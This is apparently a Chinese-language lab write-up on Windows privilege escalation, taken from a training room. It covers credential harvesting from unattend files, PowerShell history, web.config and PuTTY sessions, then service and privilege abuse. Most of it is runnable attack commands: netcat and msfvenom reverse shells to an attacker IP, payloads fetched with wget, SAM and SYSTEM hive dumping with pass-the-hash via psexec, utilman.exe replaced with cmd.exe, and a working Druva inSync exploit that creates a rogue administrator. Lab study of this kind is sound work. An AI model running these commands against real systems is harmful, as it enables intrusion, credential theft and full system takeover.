基本知识点 Administrators组可以更改系统配置SYSTEM / LocalSystem 帐户比管理员用户具有更多的权限 Local Service用于以“最低”权限运行 Windows 服务的默认帐户。它将通过网络使用匿名连接 Network Service用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证
收集密码的常用位置 无人值守的 Windows 安装 在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能会存储在计算机的以下位置:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml 作为这些文件的一部分,可能会遇到凭证,比如
Powershell 历史命令 可以用cmd查看
1 type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
powershell查看
1 type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
保存的 Windows 凭据
发现任何值得尝试的凭据——有Domain:interactive=
的就是要找的 ,可以再用runas
命令和 /savecred
实现免密切用户调用终端
1 runas /savecred /user:admin cmd.exe
IIS 配置 IIS 上的网站配置存储在名为 web.config
的文件中,可以存储数据库或配置的身份验证机制的密码
|
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
—|—
从软件中检索凭据:PuTTY PuTTY 是 Windows 系统上常见的 SSH 客户端
1 reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
1 2 Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们检索其密码的用户名。运行上述命令后,存储的代理用户名也应该可见
不知道是谁创建的,可以这样搜
1 for /f "tokens=*" %i in ('reg query HKEY_CURRENT_USER\Software\') do reg query "%i\PuTTY\Sessions" >nul 2>&1 && echo %i
实操与回答问题 julia.jones 用户的密码已保留在 Powershell 历史记录中。密码是什么? 1 type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt | findstr "julia.jones"
远程主机上正在运行 Web 服务器。在与 IIS 关联的 web.config 文件上查找任何感兴趣的密码。db_admin 用户的密码是什么? 1 type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config|findstr "db_admin"
您的 Windows 凭据上保存了密码。使用 cmdkey 和 runas,为 mike.katz 生成一个 shell,并从他的桌面上检索标志。 1 cmdkey /list|findstr "mike.katz"
1 runas /savecred /user:mike.katz cmd.exe
然后看flag
检索存储在您的配置文件下保存的 PuTTY 会话中的已保存密码。thom.smith 用户的密码是什么? 1 for /f "tokens=*" %i in ('reg query HKEY_CURRENT_USER\Software\') do reg query "%i\PuTTY\Sessions" >nul 2>&1 && echo %i
接下来直接检索凭据
1 reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
其他提权思路 计划任务 1 schtasks /query /tn vulntask /fo list /v
1 2 关注Run As User和Task to Run参数的值就行
如果当前用户可以修改或覆盖 “Task to Run” 可执行文件,我们就可以控制”Run As User”用户执行的内容,从而产生简单的权限提升 检查计划任务执行文件的权限可以用以下命令
1 icacls c:\tasks\schtask.bat
如图中显示BUILTIN\Users:(I)(F)
,这意味着所有经过身份验证的用户都可以读取、写入、执行和删除这些文件 BUILTIN\Users 组默认包含所有经过身份验证的用户,通常权限较为有限 然后我们可以利用它来弹shell,比如nc弹
1 echo c:\tools\nc64.exe -e cmd.exe 10.21.170.43 404 > C:\tasks\schtask.bat
如果太久没收到shell,就自行运行一次
1 schtasks /run /tn vulntask
msi 文件提权 将AlwaysInstallElevated
策略开启后,Windows Installer 会始终以提升的权限安装 MSI 包 这可能允许以管理员权限运行生成的恶意的 MSI 文件 此方法需要设置两个注册表值。可以使用以下命令从命令行查询这些内容
1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
1 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
如果查到类似以下信息,HKCU
与 HKLM
下同时开启(都为 0x1
)才真正触发漏洞——普通用户安装 MSI 包时会自动获得 SYSTEM 权限
1 2 3 4 5 6 7 8 9 10 C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1 C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1
安装恶意msi包
1 msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
回答问题
滥用服务配置错误(以下三种方法是逐级兜底的) 基本知识点 sc qc
查看指定服务配置
1 2 关联的可执行文件是通过BINARY_PATH_NAME参数指定的,用于运行服务的帐户显示在SERVICE_START_NAME参数上
服务具有任意访问控制列表 (DACL),该列表指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务,以及其他权限。DACL 可以从Process Hacker 中看到 所有服务配置都存储在注册表中的以下位置 HKLM\SYSTEM\CurrentControlSet\Services\
: 系统中的每个服务都有一个子项。同样,我们可以在 ImagePath 值上看到关联的可执行文件,并在 ObjectName 值上看到用于启动服务的帐户。如果已为服务配置了 DACL,则它将存储在名为 Security 的子项中。正如您现在已经猜到的那样,默认情况下,只有管理员才能修改此类注册表项
对服务可执行文件的不安全权限 如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻易地获得服务帐户的权限 比如查看易受攻击的服务配置
易受攻击的软件安装的服务以 svcuser1 账户身份运行,并且与该服务关联的可执行文件位于 中 C:\Progra~2\System~1\WService.exe
继续查看这个服务执行的文件的权限
1 icacls C:\PROGRA~2\SYSTEM~1\WService.exe
Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着可以简单地用任何有效负载覆盖它,并且该服务将使用配置的用户帐户的权限执行它 用生成一个 exe-service 有效负载
1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.170.43 LPORT=404 -f exe-service -o rev-svc.exe
换powershell把马下下来
1 wget http://10.21.170.43:8080/rev-svc.exe -O rev-svc.exe
由于需要另一个用户来执行有效负载,因此还需要向 Everyone 组授予完全权限
1 cd C:\PROGRA~2\SYSTEM~1\
1 move WService.exe WService.exe.bkp
1 move C:\Users\thm-unpriv\Desktop\rev-svc.exe WService.exe
1 icacls WService.exe /grant Everyone:F
最后,重新启动服务 实战中,必须等待服务重启,除非有权限直接重启
1 sc stop windowsscheduler
1 sc start windowsscheduler
未加引号的服务路径 不能直接写入服务可执行文件时,可能仍然有机会通过使用一个相当晦涩的功能来强制服务运行任意可执行文件 使用 Windows 服务时,当服务配置为指向“未加引号的”可执行文件时,会发生非常特殊的行为。unquote 的意思是关联可执行文件的路径没有正确引用,以考虑命令上的空格 比如这样 当 SCM 尝试执行关联的二进制文件时,会出现问题。由于 “Disk Sorter Enterprise” 文件夹的名称上有空格,因此命令变得不明确,并且 SCM 不知道您尝试执行以下哪项作,可能是以下几种
Command
Argument 1
Argument 2
C:\MyPrograms\Disk.exe
Sorter
Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe
Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
SCM会开始按照表中所示的顺序搜索每个二进制文件:
首先,搜索 C:\\MyPrograms\\Disk.exe
。如果存在,则服务将运行此可执行文件。
如果后者不存在,它将搜索 C:\\MyPrograms\\Disk Sorter.exe
。如果存在,则服务将运行此可执行文件。
如果后者不存在,它将搜索 C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
。此选项预期会成功,并且通常会在默认安装中运行。
但默认情况下,大多数服务可执行文件将安装在 C:\Program Files
或 C:\Program Files (x86)
下,非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则也有例外: - 某些安装程序更改了已安装文件夹的权限,使服务容易受到攻击。- 管理员可能决定在非默认路径中安装服务二进制文件。如果这样的路径是全局可写的,则可以利用此漏洞。
比如靶场中这个例子:BUILTIN\\Users
组具有 AD 和 WD 权限,允许用户分别创建子目录和文件 生成个马
1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.170.43 LPORT=404 -f exe-service -o rev-svc2.exe
在靶机上把马下下来,然后替换服务文件
1 wget http://10.21.170.43:8080/rev-svc2.exe -O rev-svc2.exe
1 move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
1 icacls C:\MyPrograms\Disk.exe /grant Everyone:F
然后重启服务
1 sc stop "disk sorter enterprise"
1 sc start "disk sorter enterprise"
不安全的服务权限 如果服务 DACL(而不是服务的可执行 DACL)允许当前用户修改服务的配置,那么将能够重新配置该服务。这将允许该服务指向需要的任何可执行文件,并使用任何帐户运行它,包括 SYSTEM 本身 可用AccessChk (本地放.tools文件夹了)从命令行检查服务 DACL 运行
参数
描述
-a
名称为 Windows 帐户权限。指定 *
可显示分配给该用户的所有权限。注意:当指定具体权限时,仅显示直接被分配该权限的组和帐户。
-c
名称为 Windows 服务,例如 ssdpsrv
。指定 *
可显示所有服务;使用 scmanager
可检查服务控制管理器的安全性。
-d
仅处理目录或顶级注册表键。
-e
仅显示显式设置的完整性级别(仅限 Windows Vista 及更高版本)。
-f
若与 -p
连用,显示完整的进程令牌信息(包括组和权限);否则将后续参数视为逗号分隔的帐户列表,用于从输出中过滤。
-h
名称为文件或打印机共享。指定 *
可显示所有共享。
-i
在转储完整访问控制列表时,忽略仅具有继承 ACE(访问控制条目)的对象。
-k
名称为注册表键,例如 hklm\software
。
-l
显示完整安全描述符。添加 -i
可忽略继承的访问控制条目。
-n
仅显示无任何访问权限的对象。
-o
名称为对象管理器命名空间中的对象(默认为 \
根目录)。要查看目录内容,可在名称后加 \
或添加 -s
;添加 -t <类型>
(如 section
)可仅查看指定类型的对象。
-p
名称为进程名或 PID(如 cmd.exe
),指定 *
可显示所有进程。添加 -f
可显示完整进程令牌信息(包括组和权限);添加 -t
可显示线程。
-nobanner
不显示启动横幅和版权信息。
-r
仅显示具有读取权限的对象。
-s
递归处理子目录或子对象。
-t
对象类型过滤,如 "section"
。
-u
抑制错误输出。
-v
详细模式(包括 Windows Vista 及更高版本的完整性级别信息)。
-w
仅显示具有写入权限的对象。
比如要检查thmservice
的DACL
1 accesschk64.exe -qlc thmservice
主要注意的是BUILTIN\Users 配置,有SERVICE_ALL_ACCESS 权限就代表任何用户都可以重新配置服务
1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.170.43 LPORT=404 -f exe-service -o aaa.exe
1 wget http://10.21.170.43:8080/aaa.exe -o aaa.exe
向 Everyone 授予执行有效负载的权限
1 icacls aaa.exe /grant Everyone:F
更改服务的关联可执行文件和帐户(注意等号后面的空格)
1 sc config THMService binPath= "C:\tools\AccessChk\aaa.exe" obj= LocalSystem
重启服务
滥用危险权限 查看权限
可以在 Priv2Admin Github 项目上找到可利用权限的完整列表 最常见的特权的一些基本利用方式
SeBackup / SeRestore 思路 SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的 DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限 拥有此权限,攻击者可以使用多种技术轻松提升系统的权限。比如查看的配置包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希
实操 开个远程桌面
1 xfreerdp /u:THMBackup /p:CopyMaster555 /v:10.10.102.232 /dynamic-resolution +clipboard
以管理员权限打开控制台 备份 SAM 和 SYSTEM 哈希值
1 reg save hklm\system C:\Users\THMBackup\system.hive
1 reg save hklm\sam C:\Users\THMBackup\sam.hive
1 sudo python3 smbserver.py -smb2support -debug -username THMBackup -password CopyMaster555 a /tmp/share
1 copy C:\Users\THMBackup\sam.hive \\10.10.204.24\public\
1 copy C:\Users\THMBackup\system.hive \\10.10.204.24\public\
这步在attackbox
中成功了,但是我本机实验没成功,感觉应该是做了相应的安全策略 拿到哈希值之后就可以使用 impacket 检索用户的密码哈希值
1 python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
接下来使用 Administrator 的哈希来执行 Pass-the-Hash 攻击,并以 SYSTEM 权限访问目标计算机
1 python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.224.76
SeTakeOwnership 思路 这个思路是滥用 utilman.exe
来提升权限。Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供 Ease of Access 选项 由于 Utilman 是以 SYSTEM 权限运行的,当可以拥有任何文件的所有权,就可通过替换它来提权
实操 获取utilman.exe的所有权
1 takeown /f C:\Windows\System32\Utilman.exe
授予用户对 utilman.exe 的完全权限
1 icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
然后可将 utilman.exe 替换成 cmd.exe
1 copy cmd.exe utilman.exe
要触发 utilman,就要从开始按钮锁定屏幕 然后点一下Ease of Access
按钮,就能启动一个管理员权限的cmd
SeImpersonate / SeAssignPrimaryToken 思路 这些权限允许进程模拟其他用户并代表他们执行 在 Windows 系统中,您会发现 LOCAL SERVICE 和 NETWORK SERVICE ACCOUNTS 已经具有此类权限。由于这些帐户用于使用受限帐户生成服务,因此在服务需要时允许它们模拟连接用户是有意义的 要使用此类帐户提升权限,攻击者需要满足以下条件:
生成一个进程,以便用户可以连接该进程并对其进行身份验证,以便进行模拟
找到一种方法来强制特权用户连接并验证生成的恶意进程。
实操(RogueWinRM 漏洞) 假设已经传了webshell,拿权了 先看权限
拥有SeImpersonate特权,符合利用标准 然后传个RogueWinRM
的exp上去 直接弹shell
1 c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.204.24 404"
滥用易受攻击的软件 未修补的软件 查看已安装的软件版本信息
1 wmic product get name,version,vendor
挺耗时间的 显示结果以后可在exploit-db 、packet storm 或Google等网站上在线搜索已安装软件上的现有漏洞
案例研究:Druva inSync 6.6.3 目标服务器正在运行 Druva inSync 6.6.3,据 Matteo Malvica 报告,该服务器容易受到权限提升的影响 该软件容易受到攻击,因为它在端口 6064 上运行具有 SYSTEM 权限的 RPC(远程过程调用)服务器,只能从 localhost 访问 在 Druva inSync 的情况下,端口 6064 上公开的程序之一(特别是程序编号 5)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,因此任何命令都以 SYSTEM 权限执行 漏洞大致原理就是:程序决定检查执行的命令是否以字符串 C:\ProgramData\Druva\inSync4\
开头,允许的二进制文件应该在其中。但后来证明这还不够,因为您可以简单地进行路径遍历攻击来绕过这种控制。假设你要执行 C:\Windows\System32\cmd.exe
,它不在允许的路径中;您可以简单地要求服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe
,这将成功绕过检查 直接打exp就行(powershell运行) exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ErrorActionPreference = "Stop" $cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add" $s = New-Object System.Net.Sockets.Socket( [System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp ) $s.Connect("127.0.0.1", 6064) $header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]") $rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0") $command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd"); $length = [System.BitConverter]::GetBytes($command.Length); $s.Send($header) $s.Send($rpcType) $s.Send($length) $s.Send($command)
验证是否成功(看在不在管理员组就行)
然后就是以管理员身份启动cmd,记得换用户
自动化脚本 豌豆 比如好用的豌豆,linux系统的林豌豆就很舒适,windows就用win豌豆
PrivescCheck PrivescCheck 是一个 PowerShell 脚本,用于搜索目标系统上的常见权限提升。它提供了 WinPEAS 的替代方案,而无需执行二进制文件运行前需要绕过执行策略限制
1 Set-ExecutionPolicy Bypass -Scope process -Forc
下载后,先更新下漏洞库
运行
导出结果
然后漏洞扫描
整个过程看官方演示👇